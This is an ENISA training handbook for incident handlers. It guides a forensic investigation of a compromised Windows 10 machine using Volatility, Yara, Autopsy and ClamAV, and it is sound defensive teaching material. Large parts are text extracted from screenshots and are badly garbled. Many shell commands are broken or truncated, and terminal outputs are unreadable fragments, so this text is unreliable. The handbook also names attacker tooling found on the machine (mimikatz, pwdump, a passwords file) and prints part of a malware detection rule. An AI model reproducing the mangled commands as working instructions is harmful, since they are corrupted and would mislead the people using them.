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About ENISA

The European Union Agency for Network and Information Security (ENISA) is a centre of network and
information security expertise for the EU, its member states, the private sector and Europe’s citizens.
ENISA works with these groups to develop advice and recommendations on good practice in information
security. It assists EU member states in implementing relevant EU legislation and works to improve the
resilience of Europe’s critical information infrastructure and networks. ENISA seeks to enhance existing
expertise in EU member states by supporting the development of cross-border communities committed to
improving network and information security throughout the EU. More information about ENISA and its
work can be found at www.enisa.europa.eu.

Contact
For contacting the authors please use cert-relations@enisa.europa.eu.
For media enquires about this paper, please use press@enisa.europa.eu.

Legal notice

Notice must be taken that this publication represents the views and interpretations of ENISA, unless
stated otherwise. This publication should not be construed to be a legal action of ENISA or the ENISA
bodies unless adopted pursuant to the Regulation (EU) No 526/2013. This publication does not
necessarily represent state-of the-art and ENISA may update it from time to time.

Third-party sources are quoted as appropriate. ENISA is not responsible for the content of the external
sources including external websites referenced in this publication.

This publication is intended for information purposes only. It must be accessible free of charge. Neither
ENISA nor any person acting on its behalf is responsible for the use that might be made of the
information contained in this publication.

Copyright Notice

© European Union Agency for Network and Information Security (ENISA), 2016
Reproduction is authorised provided the source is acknowledged.
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1. Forward

This three-day training module will follow the tracks of an incident handler and investigator, teaching best
practices and covering both sides of the breach. It is technical in nature and has the aim to provide a

guided training for both incident handlers and investigators while providing lifelike conditions. Training
material mainly uses open source and free tools.
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2. Story that triggers incident handling and investigation processes.

The customer’s organization has found out that some of its sensitive data has been detected in online text
sharing application. Due to the legal obligations and for business continuity purposes CSIRT team has been
tasked to conduct an incident response and incident investigation to mitigate the threats.

Breach contains sensitive data and includes a threat notice that in a short while more data will follow. As
the breach leads to specific employee’s computer then CSIRT team, tasked to investigate the incident,
follows the leads.

Below is presented a simplified overview of the training technical setup.

Prrziizess

Workstation 1

Web-proxy Compromised we

Workstation/Phone 2 [ [
[ T T T T
[ [ ]
[T T T T
[ [ ]
[ T T T 1]
[ [ ]
Firewall Compromised web-server (drive-by)
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3. Environment preparation

All the practical exercises will be done using CAINE Linux. Import the provided virtual machine appliance
which contains additional set of scripts and all files necessary for completing the exercises.

Next, attach separate storage drive with evidence files (memory dump and disk image) — evidence.vmdk.

@
= General Storage
m System
) Storage Tree Attributes
Display -
B storage & Controller: IDE Hard Disk: |IDE Primary Slave v B
. Bl cainelinux.vdi .
{2 Audio : o salid-state Drive
EP Network ® Information
. Em
{3 Serial Ports Pty Type (Format): Normal (VMDK)
& usB Virtual Size: 200,00 GB
& Shared Folders Actual Size: 25,06 MB
Details: Dynamically allocated storage
Location:
Attached to: -
BEee
Help Cancel OK

Then start CAINE virtual machine and try to login into the system (user: enisa, password: enisa).

After logging into the system mount partition with the evidence files in read only mode. The easiest way to
accomplish this is to use “Mounter” utility. “Mounter” can be started by clicking on the green hard drive
icon at the bottom panel. Then choose partition with evidence files and click OK.
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Detected BLOCK DEVICES and their current mount status.
Selected devices are togaled mount/unmount.

Selected devices will be mounted READ-ONLY

Make a selection:
Device FS Tvpe Label Size (MB) Mount Paint Status
fdevfsdal ext4 SEE 30,7149 Writeable
~

) Refresh ® cancel " 0K

Mounting

@ Dﬂ B "Mounter(ass... * enisa@training: ... n|*|

After this operation evidence data should be available at the /media directory (in this case /media/sdb1).

Now open terminal and go to /media/sdb1/Windows directory (or any other directory where partition
with evidence files was mounted) which contains three files:

e disk.raw —raw image of Windows 10 disk (dd format)
e memory.img — dump of Windows 10 memory taken shortly after the attack
e MD5SUMS — file with MD5 sums of disk.raw and memory.img

File Edit WView Search Terminal Help
= '-l.l.l
disk.rsz

-r--r--r-- 1 root root

enisagtraining: /media/sdl

Calculate checksums using md5sum command and then compare its output with checksums stored in
MD5SUMS file.
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File Edit WView Search Terminal Help
enisaftraining: /media/sdbl/Windows$ cat MDSSUMS
: i MEmo ry . 1mg
disk. raw
is$ mdSsum memory . 1mg
memory . 1mg
41 |

enisa@training: /media/sdbl/Windows

15
I

If the checksums are correct proceed to the next exercises.
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4. Memory analysis

4.1 Checking memory dump file
Start by executing Volatility imageinfo command which will provide general information about dumped
memory.

Edit View Search Terminal Help

s/volatility: ol.py -1 smedia/sdbl/Windows/memory.img imageinfo
Fr |

R Winlc

WS /MEmory .1mg)

Image
enisaftrain

Correct profile to use is Win10x86_44B89EEA®. Additionally to make commands execute faster specify
addresses of DTB, KDBG and KPCR structures:

--dtb=0x1a8000 --kdbg=0x82461820 --kpcr=0x8248b000 --profile=Win10x86_44B89EEA

To check if everything is working try to list processes with the pslist command:

-t ymedia/sdbl/wWindows/memory.img --kdbg=0x82461820 --dth=0x

Since all following commands during Windows memory analysis will be used with the same set of
parameters, for convenience create alias to vol.py:

1 This profile was introduced in one of the applied patches. When code is merged into main Volatility repository name
of this profile might change.
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vol="/home/enisa/training/tools/volatility/vol.py -f /media/sdb1/Windows/memory.img --dtb=0x1a8000 --
kdbg=0x82461820 --kpcr=0x8248b000 --profile=Win10x86_44B89EEA’

4.2 Scanning memory with Yara rules
Yara rules can be found at /home/enisa/training/ex1/yara-rules.

Open terminal and change to the yara-rules directory.

File Edit WView Search Terminal Help

enisa@training:~$ cd ~/training/exl/yara-rules
enisa@training:~/training/exl/yara-ruless s
Antidebug AntiVM email LICENSE Mobile Malware Webshells

Crypto Exploit-Kits Malicious Documents Pa s
CVE_Rules index.yar malware README. mdl
enisa@training:~/training/exl/yara-ruless ||

Create additional *.yar file, including all chosen *.yar files.

File Edit Wiew Search Terminal Help
enisa@training:~/training/ex1/yara-rules$ find CVE Rules/ Exploit-Kits/ malware/ -name '

File Edit Wiew Search Terminal Help

enisaftraining:~/training/exl/yara-ruless

volatility Foundation volatility

ERROR @ wvolatilit Jom 5 string (-v)
enisaftraining:~/traini (1/yara-rule arascan -y rules.yar
volatility Foundation volatility -
enisaftraining:~/training/ex1;

10



Forensic analysis
1.0 | December 2016

File Edit WView

N L M e i

File Edit arch Terminal
enisaf@training:
15 Rule: S

Wiew Help

~/training/exl/yara-ruless$ "Rule:' results.txt sort

Strir

=11
18

unig -c

Help
/yara-rules$ grep -RL

File Edit Search  Termimal

enisaftraining:~/training/ex

Wiew
'rule *SharedStrings'

enisa@training:~/training/exl/yara-ruless []

Open malware/MALW_LURKO.yar file and inspect SharedStrings rule.
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File Edit
rule SharedStrings
meta:

View Search  Termimal Help

Family {

author "Katie Kl

last_updatec

strings:
internal names
$11 = "Butterfly.dll"
' ET[0-9.]+\\ButterFL
= "ETClientDLL"

1y of them

scription = "Internal names

found 1n LURKO/CCTVO samples"

finetune this

Check in which processes UPX and Xtreme RAT rules were detected.

File Edit  View
enisaftraining: -~
ar

1 er:

enisa@training
ar

enisaftraining: -~

-& 1 'xtrem' results.txt | grep Owner | unig -c

-A 1 'UPX' results.txt | grep Owner

uniq -c
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4.3 Analysis of the process list
List all running processes using Volatility pslist plugin:

arch Terminal Help

Search the process list for the PIDs of processes containing malicious code from the previous task:

[ lenisa - [=I[=[=]
i arch  Terminal Help
t | cut -c
1lity Fr

Search Terminal Help
1st | cut

olatility Fram

Check the command line which was used to start given process using the dlllist plugin:
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File Edit View Help

enisagtraining:~$ vol dlllist -p 4838 | grep 'Command line'
ols Volatility Framewor

“ommand Line'
“ommand Line'

enisag@training:

Search for the processes named explorer.exe:

File Edit WView Search Terminal Help
enisa@training:
folatility Fo

enisa@training:~%

4.4 Network artefacts analysis
Search memory for artefacts of network connections using the netscan Volatility plugin.

State
ESTABLISHED
ESTABLISHED

+

ESTABLISHED

FHEFFEE

enisa@training:

There were also some connections to tcp/80 (HTTP) and tcp/443 (HTTPs):
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View
ning ol n 1| eg
olatility Fram

B I A Y S U =

e el el e el el i i el
[l el el el el el el gl el el
[ i el =l i = =l = = =

=

g 1
enisa@training

F
.
=
=
=
TC
TC
e
=
=
=
=
-
e
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5.1 Mounting Windows partition and creating timeline

List partitions present on the disk image:

File Edit Wiew Search Terminal Help

enisaftraining: /media/sdbl /Windows$ mmls

Edit View Search Terminal
@training: /medi
aining: /m
aining: /m
config.sys
pagefile.sys

Start Autopsy (system menu -> Forensic Tools -> Autopsy 2.24):

» mount -t ntfs -o

swapfile.sys

mnt/part_c
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Open an HTML browzer on the remote host and paste thiz URL in it:
bttp://f

ctrl-cr to exit

If the web browser wasn’t yet started in the system, it should start now. Otherwise open new tab in
browser and go to http://localhost:9999/autopsy.

@) Autopsy Forensic Bro... X

localhost v v B8 @ 3 » =

WARNING: Your browser currently has Java Script enabled.

You do not need Java Script to use Autopsy and it is recommended that it be turned off for security reasons.

Autopsy Forensic Browser 2.24-1

http://www.sleuthkit.org/autopsy/

OPEN CASE NeEw CAsSE HEeELP

Create new case by clicking “New Case” and then filling the form as presented on the screenshot below.
Then click “New Case” again.
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http://localhost:9999/autopsy

f@g Create A New Case

& localhost | C »

CREATE A NEw CASE

1. Case Name: The name of this investigation. It can contain only letters, numbers, and
symbols.

Training

2. Description: An optional, one line description of this case.

ENISA Training

3. Investigator Names: The optional names (with no spaces) of the investigators for this

case.
a. [Trainee| ] b.
Eo d.
Eo f.
g. h.
i j.
NEW CASE CANCEL HELP

Forensic analysis
1.0 | December 2016

On the next page you will be informed about path to the case files (including some intermediate results).

Click “Add Host”.

B Restore Session

& localhosk v | C »

Creating Case: Training

Case directory (/usr/share/caine/report/autopsy/Training/) created
Configuration file (/usr/share/caine/report/autopsy/Training/case.aut) created

We must now create a host for this case.

Please select your name from the list: Trainee =

-

ApD HosTt

On the next page, specify at least a Host Name and then click “Add Host”. It’s also worth to specify GMT

time zone to be sure this time zone will be used for displaying times during file analysis.
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{ify Add ANewHost To Tr... %

(- localhost | C wEBe 9 3+ A @

Case: Training

ADD A NEW HOST

1. Host Name: The name of the computer being investigated. It can contain only letters,
numbers, and symbols.

Windows

2. Description: An optional one-line description or note about this computer.

3. Time zone: An optional timezone value (i.e. ESTSEDT). If not given, it defaults to the local
setting. A list of time zones can be found in the help files.

GMT

4. Timeskew Adjustment: An optional value to describe how many seconds this computer's
clock was out of sync. For example, if the computer was 10 seconds fast, then enter -10 to
compensate.

0

5. Path of Alert Hash Database: An optional hash database of known bad files.

6. Path of Ignore Hash Database: An optional hash database of known good files.

ApD HosT CANCEL HELP

Click “Add Image”.

@y Adding Host Windows... %

&= localhost v C »

Adding host: Windows to case Training

Host Directory (/usr/share/caine/report/autopsy/Training/Windows/) created

Configuration file (/usr/share/caine/report/autopsy/Training/Windows/host.aut) created
We must now impert an image file for this host

ADD IMAGE

The next step will be to add disk image as an evidence file. To add a new image click “Add Image” and then
“Add Image File”.
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@ Open Image In Trainin... %

€ @ localhost ? v-v| & || Q seard A »
Case: Training
Host: Windows

No images have been added to this host yet

Select the Add Image File button below to add one

ADD IMAGE FILE CLosE HosT
HELP
FILE ACTIVITY TIME LINES IMAGE INTEGRITY HASH DATABASES
VIEW NOTES EVENT SEQUENCER

In the next form specify the path to the disk image and check if Type is set to Disk.

@g Add Image To Trainin...

L] localhost v C Search WA »
Case: Training
Host: Windows

ADD A NEW IMAGE

1. Location
Enter the full path (starting with /) to the image file.
If the image is split (either raw or EnCase), then enter "™ for the extension.

/media/sdb1/Windows/disk.raw

2. Type
Please select if this image file is for a disk or a single partition.
@ Disk Partition

3. Import Method

To analyze the image file, it must be located in the evidence locker. It can be imported from its
current location using a symbolic link, by copying it. or by moving it. Note that if a system
failure occurs during the move, then the image could become corrupt.

@ Symlink Copy ' Move

CANCEL HELP

Forensic analysis
1.0 | December 2016

Now Autopsy will analyse partition table on the provided disk image and let user decide which partitions
add to the case. In this case, it should be enough to add only the main Windows partition.
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iy collecting detailson ... x

= localhost v | C Ww B » =

Image File Details

Local Name: images/disk.raw

Data Integrity: An MD5 hash can be used to verify the integrity of the image. (With split
images, this hash is for the full image file)

@ Ignore the hash value for this image.
' Calculate the hash value for this image.
' Add the following MD5 hash value for this image:

Verify hash after importing?
File System Details

Analysis of the image file shows the following partitions:

Partition 1 (Type: NTFS / exFAT (0x07))

Add to case? [
Sector Range: 2048 to 1026047

Mount Point: C: File System Type: | ntfs =

Partition 2 (Type: NTFS / exFAT (0x07))

Add to case? &

Sector Range: 1026048 to 50329599

Mount Point: C: File System Type:  ntfs =
ADD CAMNCEL HELP

For your reference, the mmls output was the following:

DOS Partition Table
Offset Sector: @
Units are in 512-byte sectors

Slot Start End Length Description
002: 000:000 (OEOOA2048 00010266047 0081024008 NTFS / exFAT (0x07)
003: 000:001 0001026048 0858329599 0049303552 NTFS / exFAT (@x@7)

After clicking “Add”, Autopsy will display information that a new image was added and linked with the
case. At this point, the analyst can decide whether to add an additional image file or proceed with the
analysis. Click “Ok” since there are no more evidence files to add.
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fiix Add anewimage toa...

€ localhost v| C Search v B »

Testing partitions
Linking image(s) into evidence locker
Image file added with ID imgl

Disk image (type dos) added with ID voll
Volume image (1026048 to 50329599 - nifs - C:) added with 1D vol2

OK ADD IMAGE

Forensic analysis
1.0 | December 2016

Now the main analysis panel should open.

f@y Open Image In Trainin... %

& localhost: v| C } wBa » =
Case: Training
Host: Windows
Select a volume to analyze or add a new image file.
CASE GALLERY HOST GALLERY HosST MANAGER
mount name fs type
disk disk.raw-disk raw details
® C:/ disk.raw-1026048-50329599 ntfs details
ANALYZE ADD IMAGE FILE CLOSE HosT
HELP
FILE ACTIVITY TIME LINES IMAGE INTEGRITY HASH DATABASES
VIEwW NOTES EVENT SEQUENCER

Create a file activity timeline which will be quite useful during later analysis. To create a timeline, select

partition C:\ and click “File Activity Time Lines”.
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& Timeline: Training:Wi...

& localhost t t:v| C w8 © 3 A& » =
CREATE DATA FILE CREATE TIMELINE VIEW TIMELINE VIEW NOTES HeELP CLOSE
2 X
File Activity Timelines

Here you can create a timeline of file activity.
This process requires two steps:

1. Create Data File from file system data -> 2. Create Timeline from the data file

Use the tabs above to start.

Select all options as presented on the screenshot below and click “Ok”:

{ily Timeline: Training:Wi... *

& localhost v C W Be 4+ @ » =
CREATE DATA FILE CREATE TIMELINE VIEW TIMELINE VIEW NOTES HELP CLOSE
Os ? X

Here we will process the file system images, collect the temporal data, and save the data to a single file.

1. Select one or more of the following images to collect data from:
& C:/ disk.raw-1026048-50329599 ntfs

2. Select the data types to gather:
& Allocated Files [ Unallocated Files

3. Enter name of output file (body):
output/ body

4. Generate MD5 Value? &

OK

Now Autopsy will start the analysis of the filesystem on the C:\ partition. Depending on the partition size
and number of files this might take some time.
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{iiy Timeline: Training:Wi... %

L] localhost »| C

CREATE DATA FILE CREATE TIMELINE VIEW TIMELINE VIEW NOTES

O

wBe U 3 A

»

HELr CLOSE

7

X

Running fls -r -mon vol2

Body file saved to /usr/share/caine/report/autopsy/Training/Windows/output/body
Entry added to host config file

Calculating MD5 Value

MDS Value: 64DEB41EAGDET287753091B5ABFI5F4B

The next step is to sort the data into a timeline.

OK

Fill the form as presented on the screenshot below and click “Ok”.

1@) Timeline: Training:Wi... %

& localhost v C

CREATE DATA FILE CREATE TIMELINE VIEW TIMELINE VIEw NOTES

OS

wBea U 3 #

»

HeELr CLOSE

?

X

MNow we will sort the data and save it to a timeline.

1. Select the data input file (body):
@ body

2. Enter the starting date:
None: ©
Specify: ® Aug =1 *|2016

3. Enter the ending date:
None:
Specify: @ Aug =||31 * 2016

4. Enter the file name to save as:
output/ timeline-aug2016.txt

5. Choose the output format:
® Tabulated (normal)
' Comma delimited with hourly summary
' Comma delimited with daily summary

6. Generate MD5 Value? &

OK

As a result timeline will be created. Path to this file is <case_path>/Windows/output/timeline-aug2016.txt.
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{i&y Timeline: Training:Wi... %

localhosk

CREATE TIMELINE VIEw NoTES

ON

CREATE DaTA FILE

wBe U ¥ &4 &

HeELr CLOSE

7

X

Creating Timeline for 2016-08-01..2016-08-31 (Time Zone: 'GMT')

Timeline saved to fusr/share/caine/report/autopsy/Training/Windows/output/timeline-aug2@16. txt
Entry added to host config file

Calculating MD5 Value

MD5 Value: 5CECF9739348E38D61A7CF4F7E30EL59

OK
(MOTE: It is easier to view the timeline in a text editor than here)

If opening a timeline in a browser leads to a browser crash try opening it in a text editor (e.g. vim, nano).

1@ Timeline: Training:'

€ localhost: v c earc wBa U & & & =
CREATE DATA FiLE CREATE TIMELINE VIEW TIMELINE VIEW NOTES HeELe ClLosE
O i X
<-Jul 2016 Summary Sep 2016 >
Aug :| 2016 oK

Mon Aug 01 196608 m.c. rirwxrwxrwx 0 0 23686-128-1  C:/Windows/System32/WDI/{86432a0b-3c7d-4ddf-a89¢-172faa90485d}/{95edc3ba-fad7-46be-99ed-a45efc4326a9)/snapshot.
2016 07:34:26
Mon Aug 01 98304 .ab  rrmwxrwxrwx 0 0 1576-128-4 C:/Windows/Logs/WindowsUpdate/WindowsUpdate.20160801.093441.223.1.efl
2016 07:34:41

144 macb r/rrwxrwxrwx 0 0 1576-48-2 C:/Windows/Logs/WindowsUpdate/WindowsUpdate.20160801.093441.223.1.¢tl (SFILE_NAME)
Mon Aug 01 246 .ab  rrwxrwxrwx 0 0 1578-128-1 C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemInd y dex.B.gthr
2016 07:34.55

102 mach rirwxrwxrwx 0 0 1578-48-2 C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/Systemindex/Systemindex.6.gthr ($FILE_NAME)

2 .ab  rrmwxrwxrwx 0 0 1582-128-1 C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/SystemIndex.6.Crwl

102 mach rirwxrwxrwx 0 0 1582-48-2 C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/Systemindex.6.Crwl ($FILE_NAME)
Mon Aug 01 246 m.c. rirrwxrwxrwx 0 0 1578-128-1 C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/Systemindex.6.gthr
2016 07:35:04

2 m.c. rrwxrwxrwx 0 0 1582-128-1 C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/Systemindex.8.Crwl
Mon Aug 01 201368 a.b  rirwxrwxrwx 0 0 1586-128-4 C:/Users/Peter/AppData/Local/Microsoft/COneDrive/logs/Personal/SyncEngine-2016-8-1.735.3432.1.0d| =

v

5.2 Antivirus scan
Perform an antivirus scan of the mounted filesystem.
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File Edit

1 FOUND
=me-7 FOUND

5.3 Filesystem analysis
Start by searching on the timeline (either in browser or text editor) for update.exe file which was detected
during the memory analysis.

=}

Tue Aug 16 61440 ma.b rfrrwxrwxrwx 0

100775-128-3 ‘C:fUsersfPeterprpDatafLuca\fTempfsvchust.exe ‘
2016 13:02:57

88 macb rfrrwxrwxrwx 0 0 100775-48-2  C:/Users/Peter/AppData/Local/Temp/svchost.exe ($FILE_NAME)
2032 b Hrxxx 0 0 101277-128-3 C:/Users/Peter/AppData/Roaming/Microsoft/Windows/GhCtxqg8t.cfg
90 b orrxx-x 0 0 101277-48-2  C:/Users/Peter/AppData/Roaming/Microsoft/Windows/GhCixq8t.cfg ($FILE_NAME)
61440 m.c. rfrrwxrwxrwx 0 0 101285-128-4 C:/Users/Peter/AppData/Local/Microsoft/Windows/INetCache/IE/R81B8P1C/3568226350(1].exe
82 macb dfd--x-x--x 0 0 101286-48-2  C:/Users/Peter/AppData/Roaming/HostData ($FILE_NAME)
86 mach rfr-—-x--x--x 0 0 101287-48-2 |C:/Users/Peter/AppData/Roaming/HostData/update.exe ($FILE_NAME) |
416 ma.. didrwxrwxrwx 0 0 B5415-144-5  C:/Users/Peter/AppData/Local/Microsoft/Windows/INetCache/|[E/JGDRJ450
Tue Aug 16 61440 .c.  rfrrwxrwxrwx 0 0 100775-128-3  C:/Users/Peter/AppData/Local/Temp/svchost.exe

2016 13:02:58

Later at 13:03:04 according to standard SSTANDARD_INFORMATION attribute, update.exe MFT entry was
changed. Note that 13:03:04 is also the time when update.exe process was created according to memory

analysis.
Tue Aug 16 1491 mach r/rrwxrwxrwx 0 0 101231-128-4  C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z0I7z3kd.default/cache2/entries/
2016 13:03:04
146 mach r/rrwxrwxrwx 0 0 101231-48-2  C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/
2032 mac. rfr--X--x--x 0 0 101277-128-3  C:Users/Peter/AppData/Roaming/Microsoft/Windows/GhCtxgBt.cfg
a0 mac. rfr--X--X--x 0 0 101277-48-2  C:/Users/Peter/AppData/Roaming/Microsoft/Windows/GhCixqg8t.cfg (SFILE_NAME)
|81440 LG XXX 0 0 101287-128-1 G:EUsersfPeterprpDatafFlnaminngolealafupdate.exe|

1008670  .c.  rirowxrwxrwx 0 0 101298-128-3 C:/Users/Peter/AppData/Roaming/Microsoft/Windows/GhCixg8t.xtr

Go back to the main Autopsy panel, choose partition C:\ and click “Analyze”.
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One pretty useful information for the forensic analysis that can be read from this page are MACB
timestamp values as read from SSTANDARD_INFORMATION and SFILE_NAME attributes.
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SSTANDARD_INFORMATION Attribute Values:
Flags: Read Only, Hidden, System

Owner ID: 0

Security ID: 1172 (S-1-5-21-1623514716-2111984414-578690546-1001)
Last User Journal Update Sequence Number: 290676096

Created: 2005-06-03 07:01:04.013000000 (GMT)

File Modified: 2005-06-03 07:01:04.013000000 (GMT)

MFT Modified: 2016-08-16 13:03:04.169360400 (GMT)

Accessed: 2005-06-03 07:01:04.013000000 (GMT)

$FILE_NAME Attribute Values:
Flags: Archive
Name: update.exe

Parent MFT Entry: 101286 Sequence: 3

Allocated Size: 61440 Actual Size: 0

Created: 2016-08-16 13:02:57.959113300 (GMT)

File Modified: 2016-08-16 13:02:57.959113300 (GMT)
MFT Modified: 2016-08-16 13:02:57.959113300 (GMT)
Accessed: 2016-08-16 13:02:57.959113300 (GMT)

Go back to the timeline and check what happened shortly before 13:02:57. Quick analysis should reveal

that one second before 13:02:57 file 3568226350[1].exe was created.

420 ab  rrwxrwxrwx 0 0 101282-128-1  C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z01723kd.default/cache2/entries/120E3605EC4A57B0SCO39€
2016 13:02:56
146 mach rrrwxrwxrwx 0 0 101282-48-2  C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/120E3605EC4A57B09C039€
420 .ab  rrrwxrwxrwx 0 0 101284-128-1  C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/8E3D898722819D75305BBE
146 mach rirrwxrwxrwx 0 0 101284-48-2  C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/8E3D898722819D75305BBE
61440 .ab  rrwxrwxrwx 0 0 101285-128-4  C:/Users/Peter/AppData/Local/MicrosoftWindows/INetCache/IE/R81B6P1C/3568226350(1].exe
100 mach r/rwxrwxrwx 0 0 101285-48-2  C:/Users/Peter/AppData/Local/Microsoft/Windows/INetCache/IE/R81B6P1C/3568226350[1].exe (SFILE_NAME)
420 .ab  rrowxrwxrwx 0 0 101289-128-1 C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/EE63825F56120184913F54.
146 mach rirrwxrwxrwx 0 0 101289-48-2  C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/EEE3825F56120184913F54.

Moreover shortly before that, multiple Firefox cache files were created suggesting Firefox activity. Among
those files there is a file in which ClamAV detected an exploit code.

1125 mach rrmwsrwxrwx 0 0 1012681284

2016 13:02:53
146 macb r/rrwxrwxrwx 0 0 101268-48-2
4886 mach rrwxrwxrwx 0 0 101269-128-4
146 mach rrrwxrwxrwx 0 0 101269-48-2
9260 mach rrwxrwxrwx 0 0 101270-128-4
146 mach rrrwxrwxrwx 0 0 101270-48-2
608 mach rrwxrwxrwx 0 0 101271-128-4

Another way to browse filesystem

C:/Users/Peter/AppData/L illa/Firefox/Profil I723kd. ies/394A23D50L 50B10713FD54607815F18FABS
C:/Users/Peter/AppData/L i irefox/Profi 723kd. ies/394A23D50L 50B10713FD54607815F 18FABS (SFILE_NAME)
Ci/Users/Peter/AppData/L illa/Firefox/Profil I723kd ies/B875FASFF062E1 DIC6B5550C2A338395F 4815200
C:/Users/Peter/AppData/L i irefox/Profi 17z3kd. ies/B875FASFF062E1DIC6B5550C2A338395F 4815200 (SFILE_NAME)
Ci/Users/Peter/AppData/L illa/Firefox/Profil I723kd ies/EOF A626A10DI5AIEFEC1628AAEI73638AB45C3DD
C:/Users/Peter/AppData/L i irefox/Profi 17z3kd. ies/EOF AG26A10D95A9EFEC1628AAE973638AB45C3DD (SFILE_NAME)
C:/Users/Peter/AppData/L illa/Firefox/Profil I723kd ies/6A4D: C48F8B58AC492D34210E55D64BA

is to use the Autopsy File Analysis utility. To do this, go to the main

Autopsy panel and choose analysis of C:\ partition.
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Next, navigate to C:\Users\Peter\AppData\Roaming where two suspicious directories EpUpdate and
HostData are located (which were found in previous analysis).

e e (T

O

' A

Open EpUpdate/ directory and inspect its contents.
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Current Directory: C:/ /Users/ /Peter/ /AppData/ /Roaming/
/EpUpdate/
ADD NoTE GENERATE MDS LIST OF FILES

Del ;:‘J?Tn NaME Ul WRITTEN ACCESSED CHANGED CREATED Size UD GID MeTa
did ../ 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-07-14 14:26:50 (GMT) 56 0 0 62696-144-5
did ./ 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 56 0 0 280-144-5
d/d  bpd/ 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 288 0 0 286-144-1
d/d  mmktz/ 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 480 0 0 369-144-1
d/d nircmd/ 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 256 0 0 566-144-1
did  nmap/ 2016-08-16 13:49:24 (GMT) 2016-08-16 13:49:24 (GMT) 2016-08-16 13:49:24 (GMT) 2016-08-16 13:14:47 (GMT) 56 0 0 598-144-5
rir passwords.txt 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 3700 0 0 61228-128-4
d/id  pwdump/ 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 264 0 0 61230-144-1
d/d ssh/ 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 256 0 0 61377-144-1
d/d the/ 2016-08-16 14:05:29 (GMT) 2016-08-16 14:05:29 (GMT) 2016-08-16 14:05:28 (GMT) 2016-08-16 13:14:47 (GMT) 176 0 0 61380-144-5
rir wdigest.req 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 2016-08-16 13:14:47 (GMT) 322 0 0 86666-128-1

Open new terminal window and change directory to the location of the previously generated body file

(created by Autopsy during timeline preparation):

File

Edit
dtraining:~$ cc
gtraining: /us
timeline-a
enisagtraining:

Wiew

Search  Terminal

5. txt

share/c
share/caine
ti

Help

aine

lare;caine/

rt/auto

Next, using mactime tool generate small timeline and filter results using grep:

grep

‘\.exe’

-z — time zone specification
-b - path to body file
-d - output in comma delimited format

mactime -z GMT -b body -d 2016-08-16T13:03:00..2016-08-16T13:14:47
‘C:/Users’ |

| grep

(makes date present in each row)

File Edit

View

enisa@trainin

5 1¢

14

5.4 Application logs analysis
On Windows 10, the Firefox profile is located at C:\Users\<name>\AppData\Roaming\Mozilla\Firefox,
while cache files can be found at C:\Users\<name>\AppData\Local\Mozilla\Firefox.

Go to Users/Peter/AppData/Roaming/Mozilla/Firefox directory on the mounted partition:
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File Edit View Search Terminal Help

enisa@training:~% cd /mnt/part_c 5 . :

enisa@training: /mnt/part_c ater/AppData/Roaming,/Mozillay
Desktop Bac . profiles.ini

enisa@training: /mnt/part_c/ s/Peter/AppData/Roaming/Mozilla/

Search Terminal Help
ozilla/Firef
ozilla/Firef ash Repor

lata
eter/AppData/R

3f . dmp

Reports/pending$

Check in Autopsy timestamps of both crash dump files (.dmp and .extra) from pending subdirectory:

$FILE_NAME Attribute Values:

Flags: Archive

Name: cOc4cf93-35ed-4718-adba-d547e426413f extra
Parent MFT Entry: 662 Sequence: 37

Allocated Size: 4096 Actual Size: 1380

Created: 2016-08-16 13:03:16.871458500 (GMT)

File Modified: 2016-08-16 13:03:16.872488200 (GMT)
MFT Modified: 2016-08-16 13:03:16.872488200 (GMT)
Accessed: 2016-08-16 13:03:16.871458500 (GMT)

Open the .extra file in a text editor:

L] da  [=1[=][x]
File Edit WYiew Search Terminal Help
seragent_local S

3- 4474- az
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Start BrowserHistoryView tool (~/training/tools/BrowsingHistoryView/BrowsingHistoryView.exe) using
Wine. In the Advanced Options window, options should be set as shown in the screenshot below.

["'Advanced Options "~ %% [>]
Filter by wisit datejtime: ILDad history ikems From any time j I 10
, ] . =]
From: |25ma;2|:|15 ;IH.D?.SD = T |02;09;2015 ;|14.n?.5n =
[ Load enly URLs contain ane of the specified strings {comma-delimited list):
[ Don't load URLs that contain one of the specified strings (comma-delimited lisk):
e Browsers
¥ Internet Explarer V¥ chrome ¥ Firefax
¥ Internet Explorer 1011 + Edge W Chrome Canary ¥ Seatonkey
V¥ Safari i Opera ¥ andex
—Load histary Fram. .
